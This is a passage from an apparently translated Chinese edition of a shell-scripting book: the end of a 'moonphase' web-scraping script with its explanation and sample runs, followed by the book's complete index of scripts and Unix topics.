     echo "Today the moon is ${phase}% illuminated."
   else
     echo "On $thedate the moon = ${phase}% illuminated."
   fi

   exit 0

列表 B-5: *moonphase* 脚本

它是如何工作的

与其他从网络查询中提取值的脚本类似,moonphase 脚本的核心是识别不同查询 URL 的格式,并从返回的 HTML 数据流中提取特定值。

对该站点的分析显示,存在两种类型的 URL:一种指定当前日期,简单结构为“phase/today”,另一种指定过去或未来的日期,格式为 MM/DD/YYYY,如“phase/08/03/2017”。

指定正确格式的日期,你就可以获得该日期的月相。但我们不能仅仅将日期附加到站点的域名上而不做错误检查,因此脚本将用户输入拆分成三部分——月份、日期和年份——然后在 ➊ 处确保日期和年份的值不为零。还可以进行更多的错误检查,我们将在“黑客脚本”一节中探讨。

任何抓取脚本中最棘手的部分就是正确识别出能够提取所需数据的模式。在moonphase脚本中,这一点在➋处指定。最长且最复杂的代码行出现在➌处,脚本从moongiant.com网站获取页面,然后使用一系列grepsed命令提取与指定模式匹配的那一行。

然后,只需通过最终的if/then/else语句显示照明级别,无论是今天还是指定的日期。

运行脚本

如果没有参数,moonphase脚本会显示当前日期的月亮照明百分比。通过输入 MM/DD/YYYY 格式的日期来指定过去或未来的任何日期,如清单 B-6 所示。

结果

$ moonphase 08/03/2121
On 08/03/2121 the moon = 74% illuminated.

$ moonphase
Today the moon is 100% illuminated.

$ moonphase 12/12/1941
On 12/12/1941 the moon = 43% illuminated.

清单 B-6:运行 *moonphase* 脚本

注意

1941 年 12 月 12 日是经典的环球恐怖电影《狼人与人》首次在电影院上映的日子。那时并不是满月。真是不可思议!

黑客破解脚本

从内部角度来看,脚本可以通过更好的错误检查序列来大大改进,甚至仅通过在第 17 页使用脚本 #3。这将允许用户以更多格式指定日期。一个改进是用一个函数替换末尾的if/then/else语句,该函数将照明级别转换为更常见的月相词汇,如“盈月”、“亏月”和“凸月”。NASA 有一个你可以使用的网页,定义了不同的月相:starchild.gsfc.nasa.gov/docs/StarChild/solar_system_level2/moonlight.html

第十九章:索引

符号和数字

<< 表示法,35

*(星号)

cron 条目中,157

用于文件的通配符,306,346–348

^ 运算符,87

$( ) 表示法,57,66

$(( )) 表示法,34–36

.(句点)

grep 命令的转义,70

隐藏文件,12

来源脚本,43

防止“404 Not Found”错误,220

2001 太空漫游(电影),274

A

-a(逻辑 AND),25–26

access_log 文件,235–239

error_log 中分离,243

Acey Deucey,290–297

addagenda 脚本,90–95

adduser 脚本,131–133

admin 账户,用于 apm,226,228

agenda 脚本,90–95

album 脚本,211–213

别名,104

字母数字输入,验证,15–17

alternatives 系统(Debian),104

AND,逻辑(-a),25–26

ANSI 颜色序列,40–42

用于区域高亮,107–109

Apache Web 服务器

access_log 文件,235–239

error_log 文件,242–246

安装,201

管理密码,223–229

apm-footer.html,227–228

apm 脚本,223–229

使用 apt 包管理器进行安装,201

存档

文件,发送电子邮件或复制到云存储,166

远程备份,246–249

被删除的文件,58–62

archivedir 脚本,169–171

区号查询,183–185

askvalue() 函数,148–149

星号(*),在 cron 条目中,157

阿特金筛法,287

自动截屏,263–266

awk 命令,98,181

用于磁盘容量,125–126

用于显示随机文本,213–214

脚本的一般格式,189

printf 命令,33–34

B

备份

基于 sftp 的自动化,106,229–233

目录,169–171

文件在删除时,55–58

管理,166–169

.bash_profile(登录脚本),4–5,12

.bashrc(登录脚本),4–5,12

bash shell, 1–2

自定义, 4

在 Windows 上安装, 341–344

运行命令, 3–4

运行 shell 脚本, 5–7

批处理文件, 175

bc 程序,包装器, 34–36, 82–85

bestcompress 脚本, 113–115

比特币,地址信息检索, 192–194

空白短语,与零字符引用短语对比, 17

粗体, 41–42

图像的边框, 318–322

brew 包管理器,通过其安装, 329

识别断开的内部链接, 217–220

错误。参见 调试

bulkrename 脚本, 346–348

bulkrun 脚本, 348–351

bzip2, 109, 114

C

calc 脚本, 82–85

计算

货币值, 190–192

贷款支付, 87–90

计算器

浮点数, 34–36

交互式, 82–85

日历程序, 90–95

各州首都测验, 282–284

回车符,使用 tr 命令替换为换行符, 262

Unix 的大小写敏感性, 72

case 语句,作为正则表达式, 72

cat 命令

替代方法, 101–103

压缩文件和, 109–112

-n 标志, 98–99

OS X 文件和, 262

将文件内容打印到屏幕, 4

使用时读取用户数据, 81

摄氏单位,转化为华氏度或开尔文度, 85–87

CentOS,cgi-bin 目录, 201

CGI(通用网关接口)脚本, 199

运行, 201

查看环境, 202–203

cgrep 脚本, 107–109

更改模式(chmod)命令, 7, 57

changetrack 脚本, 194–197

chattr 命令, 64

checkexternal 脚本, 220–222

checklinks 脚本, 217–220

chmod(更改模式)命令, 7, 57

Chrome 操作系统(谷歌), 299

城市,检查时间, 76

清理 guest 用户之后的环境, 141–143

云存储, 299

从照片流创建幻灯片放映, 304–306

发送电子邮件或复制归档文件至, 166

保持 Dropbox 运行, 300–301

同步 Dropbox, 301–304

使用 Google Drive 同步文件,307–309

ANSI 色彩序列,40–42

区域高亮,107–109

命令行界面,作为 shell,2

命令

PATH 中的计数,51–52

运行,3–4

批量运行,348–351

通用网关接口。参见 CGI(通用网关接口)脚本

通用日志格式,235

composite 实用工具,317

压缩文件,109–112,113–115

convertatemp 脚本,85–87

convertcurrency 脚本,190–192

协调世界时(UTC),73

版权

bc 程序中禁用标题,36

问题,207

cron

archivedir 中,171

确保作业已运行,159–162

使用 cron 调度作业,154

crontab

netstat 日志生成条目,254

使用 Google Drive 同步的办公文档,308

验证用户输入,154–159

curl 工具,173–174,182–183

货币计算值,190–192

cut 命令,19,89

D

守护进程,119,301

Darwin(Unix 核心),261

数据库

检查文件大小,70

使用 locate 搜索,68–71

安全搜索,127–131

数据存储。参见 云存储;磁盘使用情况

日期格式

规范化,17–20

验证,29–32

操作系统的差异,95,149

日期

计算两者之间的天数,332–335

计算指定日期前的天数,335–339

查找特定过去日期的星期几,330–332

查找月相,351–353

在系统上设置,148–150

date 工具,95,329–330,334

dayinpast 脚本,330–332

daysago 脚本,332–335

daysuntil 脚本,335–339

Debian,cgi-bin 目录,201

调试

Shell 脚本,45–49

使用 Shell 脚本,199

小数点分隔符,22–23

删除文件的恢复,55

.deleted-files 存档,55,57

显示内容,60,62

按时间戳修剪,62

deleteuser 脚本,136–138

删除用户帐户,136–138

创建开发文件夹,4–5

df 工具

改善输出的可读性,123–125

磁盘使用情况报告,125

骰子,287–290

diff 命令,196–197

目录

Apache 对密码保护的支持,223

备份,169–171

bash 搜索,3

显示内容,65–68

作为终端窗口标题的名称,266–267

用于缩略图图像,322

DIR 脚本,71–73

禁用用户帐户,133–136

diskhogs 脚本,121–123

diskspace 脚本,125–127

磁盘使用情况

分析,119–120

可用空间,125–127

管理配额,121–123

docron 脚本,159–162

域名,从网站请求列表,179

点(.)符号表示法。 .(句点)

嵌套双引号,61

使用 FTP 下载文件,174–177

Dropbox

保持运行,300–301

同步,301–304

du 命令,119

E

echo 命令,3

-n 标志,10,33–34

echon 命令,33–34

电子邮件

将归档文件上传到云存储,166

关于磁盘空间消耗的警告,121–123

将网页作为,209–211

模拟

使用 quota 的 GNU 风格标志,103–104

MS-DOS 环境,71–73

编码字符串,传输,201

文件结束(EOF),意外,47

行尾字符,在 OS X 文件中,262–263

env 命令,202

环境变量,11,47。另见 PATH 环境变量

EOF(文件结束),意外,47

纪元时间,255,330

埃拉托斯特尼筛法,287

error_log 文件,235,242–246

错误信息

“404 未找到”,防止,220

来自 date --version,329

File does not exist,243

来自 ImageMagick,321

permission denied,129

unable to read font,318

esc 变量,42

/etc/crontab 文件,160

/etc/daily 目录,160,161

/etc/group 文件,131

/etc/monthly 目录,160, 161

/etc/passwd 文件,119, 131

/etc/shadow 文件,131

/etc/skel 目录,132–133

/etc/weekly 目录, 160, 161

eval 命令,111, 149, 179

事件

日历,跟踪,90–95

网络,日志记录,203–206

exec 调用,105

制作可执行文件,6–7

EXIF(可交换图像文件格式)信息,移除, 324

EXITSIGEXIT)信号,109

exit 0 命令,43

可扩展标记语言(XML),174

外部链接,报告损坏的,220–222

从网页提取 URL,177–180

F

华氏温度单位,摄氏或开尔文与之转换,85–87

file 命令,314

File does not exist 错误, 243

文件扩展名,用于脚本,5

filelock 脚本,37–40

文件名,用户特定的数据库,129

文件权限,用于执行脚本,6–7

文件

备份为已删除,55–58

压缩,109–112, 113–115

显示

带附加信息,101–103

带行号,98–99

通过打印到控制台屏幕,4

使用 FTP 下载,174–177

按文件名查找,68–71

identify 工具获取信息,314–315

锁定, 37–40

日志记录删除,62–65

重名的多个文件,57

批量重命名,346–348

来源,42

存储。参见 云存储

与 SFTP 同步,229–233

上传到 FTP 服务器,177

文件传输协议(FTP)。参见 FTP(文件传输协议)

FileZilla,174

find 命令,165

-xdev 参数,120

查找

按文件名查找文件,68–71

PATH中的程序,11–15

特定命令,3

findsuid 脚本,146–148

fixguest 脚本,141–143

标志

命令的默认值,79

GNU 风格,使用quota模拟,103–104

浮动点

计算,84

计算器,34–36

输入,验证,26–29

fmt命令,53,102

限制,99

formatdir脚本,65–68

格式化长行,53–55

<form>标签(HTML),204

fquota脚本,119–120

frameit脚本,318–322

框架图像,318–322

FreeBSD

命令计数,52

ps输出,150

FTP(文件传输协议)

下载文件,174–177

限制,229

上传到服务器,177

ftpget脚本,174–177

ftp程序,安全版本,104–106

模糊匹配,284

G

游戏,273

Acey Deucey,290–297

骰子,287–290

hangman,277–281

数字猜谜游戏,45–49

质数,285–287

州首府测验,282–284

解密,275–277

gedit,5

geoloc脚本,325–327

getbtcaddr脚本,192–194

getdope脚本,209–211

gethubuser脚本,180–182

getlinks脚本,178–180

getopts命令,39,54,151

getstats脚本,250–251

GitHub,获取用户信息,180–182

通配符

批量重命名文件,346–348

禁用,306

GMT(格林威治标准时间),73

GNU 风格标志,使用quota模拟,103–104

Google

Chrome 操作系统,299

货币转换器,190–192

与驱动器同步文件,307–309

GPS 地理定位,解读信息,325–327

Grab工具,263

图形。参见 ImageMagick 工具;图像;照片

grep命令,修复,107–109

压缩文件及其,109–112

gsync子目录,308

Guenther, Philip, 37

guest用户,清理其残留,141–143

gzip,109,114

H

hangman 游戏,277–281

hangman脚本,277–281

硬链接,111

here 文档,35,54

隐藏文件,使用句点(.)表示,12

Holbrook, Bill,207

主目录,识别,5

.htaccess 数据文件,223,226,228

HTML

格式化在线相册,212

使用 lynx 工具进行解析,177

.htpasswd 文件,223,226,228

HTTP_USER_AGENT 字符串,Safari 浏览器,202–203

HUPSIGHUP)挂起信号,135

I

iCloud(苹果),299,304

identify 工具,314–315,325–327

IEEE(电气与电子工程师协会),10

IFS(输入字段分隔符),226

ImageMagick 工具,213,313。另见 图像

convert 工具

动画 GIF,265

边框,318–322

display 命令,304–306

错误消息,321–322

GPS 地理定位解释,325–327

identify 工具,314–315,325–327

图像。另见 ImageMagick 工具;照片

EXIF 信息,剥离,324

帧处理,318–322

从其他网站包含,207–208

报告引用错误,220

创建缩放版本,213,306,322–325

大小分析器,314–315

水印,316–318

imagesize 脚本,314–315

IMDb(互联网电影数据库),电影信息访问,187–190

#include 功能,Shell 替代,42

增量备份,166–169

initializeANSI 脚本函数,40–42

输入

从中提取指定行,61

获取并传递给函数,13

验证

字母数字,15–17

浮点数,26–29

整数,23–26

电话号码,17

输入字段分隔符(IFS),226

电气与电子工程师协会(IEEE),10

整数输入,验证,23–26

内部链接,识别断链,217–220

互联网电影数据库(IMDb),电影信息访问,187–190

网络工具。另见 网页

Apache access_log,235–239

Apache error_log,242–246

区号查找,183–185

比特币地址信息检索,192–194

货币值计算,190–192

从网页提取 URL, 177–180

FTP 用于下载文件, 174–177

GitHub 用户信息, 180–182

识别损坏的内部链接, 217–220

IMDb, 从中获取电影信息, 187–190

记录网页事件, 203–206

监控网络状态, 249–255

创建相册, 211–213

随机文本显示, 213–215

可脚本化, 173

搜索引擎流量, 239–242

跟踪网页更改, 194–197

图像水印, 316–318

天气, 185–186

ZIP 代码查找, 182–183

isprime 脚本, 285–287

斜体类型, 41–42

iTunes 库, OS X 中的摘要列表, 267–269

J

JPEG 文件, 查找其尺寸, 314–315

K

开尔文单位, 在华氏或摄氏与开尔文之间转换, 85–87

kevin-and-kell 脚本, 207–208

关键词, 在搜索引擎中的使用, 239

KILL (SIGKILL) 信号, 135

killall 脚本, 150–154

按名称终止进程, 150–154

L

大数字, 吸引人地展示, 20–23

前导斜杠, 13

闰年, 29–32, 330

左根模式, 153

length, 在bc中, 36

iTunes, OS X 中的摘要列表, 267–269

构建脚本, 42–45

library-test 脚本, 43–45

换行符, 对于 Unix, 262

文本行

文件中的上下文, 使用grep显示, 107–109

显示数字, 98–99

行尾字符, 262–263

从输入中提取, 61

格式化长文本, 53–55

合并配对, 67

仅对长文本进行换行, 99–101

链接

识别损坏的内部链接, 217–220

符号链接与硬链接, 111

Linux

netstat 命令输出格式, 250

ps 命令输出格式, 151

设计为服务器运行的系统, 159

loancalc 脚本, 87–90

贷款支付, 计算, 87–90

本地权限, 保持 FTP, 231

.locatedb 文件, 每个用户分别存储, 127

locate 脚本, 69

定位。参见 查找

lockfile 程序, 37, 137–138

锁定文件, 37–40

log-duckduckgo-search 脚本, 203–206

日志文件

Apache access_log, 235–239

Apache error_log, 242–246

按顺序显示, 99

netperf 脚本用于内容分析, 255

拥有权限, 64–65

旋转, 162–166

为 Web 服务器拆分, 243

日志记录

文件删除, 62–65

Web 事件, 203–206

逻辑与 (-a), 25–26

登录脚本, 4–5, 12

logrm 脚本, 62–65

long-words.txt 文件, 275–277

查找

区号, 183–185

ZIP 代码, 182–183

ls 命令, 12, 60–61, 65

显示备份文件, 169

按时间顺序列出文件, 58

lynx 工具, 173–174

提取 URL, 177–180

使用该方法识别断开的内部链接, 218–220

M

MacKenzie, David, 329

邮箱, 远程作为归档, 247

MAILER 环境变量, 11

Mailinator, 209

Microsoft

OneDrive, 299, 304

Windows 上的 bash, 341–344

mklocatedb 脚本, 68–71

mkslocatedb 脚本, 127–128

mogrify 工具, 322

monthNumToName() 函数, 17–20

月相, 根据日期查找, 351–353

moonphase 脚本, 351–353

more 工具, 81, 98

压缩文件和, 109–112

moviedata 脚本, 187–190

从 IMDb (互联网电影数据库) 获取电影信息, 187–190

模拟 MS-DOS 环境, 71–73

在多处理器机器上批量运行命令, 348–351

mysftp 脚本, 104–106

N

名称

按, 查找文件, 68–71

终止进程, 150–154

重新调整进程优先级, 255–259

ncal 程序, 330–331

NcFTP, 174

neqn 脚本, 5–6

嵌套的双引号, 61

netperf 脚本, 251–253, 255

netstat 命令, 249–250, 253

netstat 日志文件, 253–254

网络, 监控状态, 249–255

网络文件系统 (NFS), lockfile 和, 40

网络时间协议 (NTP), 150

newdf 脚本, 123–125

换行

导致意外的文件结尾, 47

echo 和, 10, 33–34

使用 tr 命令替换回车符, 262

newquota 脚本, 103–104

newrm 脚本, 55–58

NFS (网络文件系统), lockfile 和, 40

nicenumber 脚本, 20–23, 89, 236

nroff 命令, 53

NTP (网络时间协议), 150

猜数字游戏, 45–46

numberlines 脚本, 98–99

数字。另见 计算;浮动点

整数, 验证输入, 23–26

大型, 吸引人地展示, 20–23

猜数字游戏, 45–46

素数, 285–287

科学计数法, 28–29

O

OneDrive (微软), 299, 304

open2 脚本, 269–271

open 应用, 262

open 命令, 在 OS X 中修复, 269–271

OpenOffice 文档, 文件夹中文档的页面计数, 7–8

操作系统。另见各个操作系统

模拟 MS-DOS, 71–73

可用命令的数量, 52

OS X

自动屏幕截图, 263–266

命令计数, 52

日期格式, 149

修复行尾, 262–263

杀死所有 csmount 进程, 153

open 命令, 269–271

ps 输出, 151

iTunes 库的摘要列表, 267–269

终端应用, 2

动态设置标题, 266–267

用户账户数据库, 131

语音合成系统, 309–312

输出设备, 重定向, 221–222

P

PAGER 环境变量, 11

分页, 81

配对行, 合并, 67

回文检查器, 274

使用 lynx 工具解析 HTML, 177

密码保护账户, FTP 和, 177

密码

对于 Apache, 223–229

为用户更改, 135

用于加密的 htpasswd 程序, 226

PATH 环境变量, 3

检查有效目录, 139

配置, 4–5

命令计数, 51–52

查找程序, 11–15

pax 命令,168

句号(.)

grep 命令的转义,70

隐藏文件,12

源脚本,43

权限

默认值,新创建的文件,57

保留本地 FTP,231

日志文件所有权,64–65

月相,通过日期查找,351–353

电话号码验证,17

照片。另见 图像

从云存储创建幻灯片,304–306

创建基于 Web 的相册,211–213

pickCard 函数,291,295

使用 sftp 程序的管道,231

可移植的 shell 脚本,7

POSIX(可移植操作系统接口),10–11

Preview 工具,263

质数,285–287

任务优先级

修改,255–259

针对时间关键型程序,258

进程

按名称终止进程,150–154

按名称调整优先级,255–259

并行运行,348–351

.profile(登录脚本),4–5,12

bash shell 提示符,4

协议,支持的信息,249–250

ps 命令,150–151,300

Q

来自 Web 客户端的查询,202

QUERY_STRING 变量,205

quota,模拟 GNU 风格的标志,103–104

配额分析,磁盘使用情况,119–120

R

$RANDOM 环境变量,47

生成随机数,46–47,287–290

randomquote 脚本,213–215,276

显示随机文本,213–215

read 命令,81

realrm 命令,56

记录,82

Red Hat Linux,ps 输出,151

区域,检查时间,76

区域高亮,ANSI 颜色序列,107–109

正则表达式,70,86

case 语句条件测试,72

用于变量切片,14

remember 脚本,80–82

remindme 脚本,80–82

远程归档,用于备份,246–249

remotebackup 脚本,246–249

提示远程主机,104–106

移除的文件归档,58–62

批量重命名文件,346–348

renice 命令,153–154,255

renicename 脚本,255–259

ANSI 色彩序列的重置序列,41

恢复删除的文件,55

网络流量的重传百分比,254

来自 awk 的返回代码,243

rev 命令,274,317

右根模式,153

rm 命令,55

rolldice 脚本,287–290

root 用户,作为用户运行脚本,69

rot13,274

rotatelogs 脚本,162–166

运行

命令,3–4

批量执行命令,348–351

作为 root 用户运行脚本,69

RVM(Ruby 版本管理器),4

S

Safari 浏览器,HTTP_USER_AGENT 字符串,202,203

sayit 脚本,310–312

say 工具(OS X),309–312

bc 中的 scale,36

使用 cron 调度任务,154

科学记数法,28–29

屏幕截图,自动化,263–266

screencapture 脚本,263

screencapture2 脚本,264–266

scriptbc 脚本,34–36,82–85,194,236

转换 GPS 数据,327

脚本。参见 shell 脚本

scripts 目录,4–5,12

搜索引擎流量,239–242

searchinfo 脚本,240–241

安全的locate,实现,127–131

安全

用于 apm 脚本,229

CGI 脚本,199

用于图像,316–318

在 Web 表单收集电子邮件地址时的风险,200–201

以 root 用户身份运行脚本,69

setuid 和,64,146

sed 语句,102,178,253

替换,86

基于转换,16

信号量,37

sendmail,200–201

服务器,设计为运行在 Linux 系统上的,159

服务器端包含(SSI)功能,Web 服务器的,213–215

setdate 脚本,148–150

setgid 命令,检查不当保护,146–148

setuid 命令,检查不当保护,146–148

setuid 权限,64

SFTP,文件同步,229–233

sftpsync 脚本,229–233

包装器,232–233

sftp 工具,104–106

sh 命令,6

shebang,6,12

shell 别名,71

shell 脚本,1–3

直接调用,6–7

调试,45–49

确定行数,118

文件扩展名,5

库文件,42–45

编程环境,9–10

使用原因,7–8

运行,5–6

shift 命令,54

showCGIenv 脚本,202

showfile 脚本,101–103

.shtml 文件扩展名,215

shuffleDeck 函数,290–291,295

系统关闭,cron 作业和,159

用于素数的筛法算法,287

SIGEXITEXIT)信号,109

SIGHUPHUP)挂起信号,135

SIGKILLKILL)信号,135

SkyDrive,304

slideshow 脚本,304–306

.slocatedb 文件,130–131

slocate 脚本,128–129

SNMP(简单网络管理协议),131

Solaris,命令计数,52

Soundex 算法,284

source 命令(bash),43

源文件,42–43

ssh(安全外壳协议),104–106,229

SSI(服务器端包含)功能,Web 服务器的,213–215

ssync 脚本,232–233

startdropbox 脚本,300–301

州首府测验,282–284

stderr,221–222

stdin,81

stdout,221–222

Stickies,80

存储。参见 云存储;磁盘使用

子 shell,5

替代密码法,274

su 命令,120,129–130

sudo 命令,120,130,150

Sundaram 筛法,287

挂起用户帐户,133–136

suspenduser 脚本,133–136,137

符号链接,111

syncdropbox 脚本,301–304

syncgdrive 脚本,307–309

文件同步

在 Dropbox 中,301–304

使用 Google Drive,307–309

使用 SFTP,229–233

syslog 数据流,添加条目,64

系统守护进程,用户 ID,119

system() 函数,124

系统维护,145

备份,166–171

确保 cron 作业运行,159–162

按名称终止进程,150–154

轮换日志文件,162–166

设置系统日期,148–150

跟踪设置用户 ID 应用程序,146–148

验证用户 crontab 条目,154–159

T

用于监控网站搜索的 tail 命令,206

tar 包,232

tar 命令,168,248–249

TCP(传输控制协议)

用于信息的 netstat 命令,253

脚本分析,249–250

tcsh shell,2

温度转换,85–87

终端应用

打开窗口,2

动态设置标题,266–267

随机显示文本,213–215

TextEdit,5

文本编辑器,5

千位分隔符,国际变种,22–23

缩略图 脚本,322–325

时间

在不同时间区显示,73–77

验证规格,32

timed(8),150

timein 脚本,73–77

时间戳

添加到重命名的文件,348

备份,168

更改,58

通过删除文件归档修剪,62

时区,73–77

titleterm 脚本,266–267

toolong 脚本,99–101

跟踪

日历事件,90–95

网页变化,194–197

trap 命令,108–109

traverse.dat 文件,220

traverse 函数,218

tr 命令,19,34,86

替换回车符为换行符,262

trimmailbox 脚本,249

类型效果,41–42

TZ 时区变量,73

U

Ubuntu

cgi-bin 目录,201

命令计数,52

默认网页根目录,212

umask 值,57

无法读取字体 错误,318

下划线类型,41–42

意外的文件结束(EOF),47

Unix

大小写敏感性,72

早期开发,10

netstat 命令输出格式,250

命令的哲学,52

调整,97–115

带附加信息的文件显示,101–103

带行号的文件显示,98–99

仿真 GNU 风格标志与 quota,103–104

grep,自定义,107–109

最大化文件压缩,113–115

sftp,自定义,104–106

处理压缩文件,109–112

换行长代码行,99–101

unrm 脚本,58–62

解密(字谜游戏),275–277

上传文件到 FTP 服务器,177

输入时要求大写字母,17

URLs

从网页提取,177–180

用户在页面请求前的访问,236

用户账户

添加,131–133

删除,136–138

挂起,133–136

用户 ID,119

用户命令,51–53

系统守护进程和用户账户的用户 ID,119

用户输入。另见 输入

用户管理,117–118。另见 用户账户

可用磁盘空间,125–127

清理 guest 用户的残留,141–143

df 输出可读性,123–125

diskhogs 脚本,121–123

磁盘使用分析,119–120

获取 GitHub 信息,180–182

安全的 locate,127–131

用户环境验证,139–141

/usr 目录,119

协调世界时(UTC),73

uuencode 命令,248

V

验证

字母数字输入,15–17

日期格式,29–32

浮动点输入,26–29

整数输入,23–26

电话号码输入,17

时间规格,32

用户环境,139–141

validator 脚本,139–141

valid-date 脚本,29–32

斯蒂芬·范登·伯格(Stephen van den Berg),37

变量

使用 echo 命令进行跟踪,45

搜索值的名称,241

命名方案,254

变量切片语法,13,14,141

verifycron 脚本,154–159

Vim,5

语音合成系统,309–312

W

图像水印,316–318

watermark 脚本,316–318

wc(字数统计)命令,100

天气,185–186

Weather Underground,185

webaccess 脚本,236–239

基于网页的照片相册创建,211–213

网络客户端,查询,202

weberrors 脚本,242–246

网络事件,日志记录,203–206

网络表单,收集电子邮件地址,作为安全风险,200–201

网页

动态构建,207–208

作为电子邮件消息,209–211

提取 URL,177–180

跟踪更改,194–197

用户在页面请求前的访问,236

网络服务器

管理,235

服务器端包含 (SSI) 功能,213–215

拆分日志,243

网站

用于站点分析的 getlinks,180

用于监控搜索的 tail 命令,206

which 命令,3

while 循环,22,98,286

whoami 命令,69

Windows 10,bash shell,341–344

字数统计(wc)命令,100

包装器,53

对于 bc 程序,34–36,82–85

安装,63

open2 脚本,269–271

对于 rm 命令,62–65

对于 sftpsync,232–233

仅包装长文本行,99–101

X

X11(图形库),304

xargs 命令,67

XML(可扩展标记语言),174

xmllint,调用,186

XQuartz 软件包,304

Y

Yahtzee,289

yum 包管理器,通过其安装,201

Z

zcat 命令,109–112

零字符引号短语,与空白短语的区别,17

zgrep 命令,109–112

ZIP 代码查找,182–183

zmore 命令,109–112

zsh shell,2

posted @ 2025-11-28 09:38  绝不原创的飞龙  阅读(15)  评论(0)    收藏  举报